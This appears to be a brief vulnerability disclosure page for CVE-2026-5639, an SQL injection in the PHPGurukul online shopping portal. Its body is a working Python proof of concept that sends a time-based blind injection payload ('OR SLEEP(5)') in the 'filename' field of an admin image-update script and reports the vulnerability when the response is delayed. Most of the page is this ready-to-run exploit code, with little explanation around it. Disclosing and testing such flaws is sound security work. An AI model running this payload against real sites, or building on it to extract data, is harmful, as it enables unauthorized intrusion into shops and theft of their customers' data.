CVE-2026-5639 PHPGurukul在线购物门户SQL注入漏洞

import requests target_url = "http://example.com/admin/update-image3.php" # Malicious payload to test SQL Injection # Checking if the database sleeps for 5 seconds payload = { "filename": "test' OR SLEEP(5)-- -" } try: response = requests.post(target_url, data=payload) # Check response time to confirm blind SQL injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection detected.") else: print("[-] Vulnerability not detected or payload incorrect.") except Exception as e: print(f"[!] Error occurred: {e}")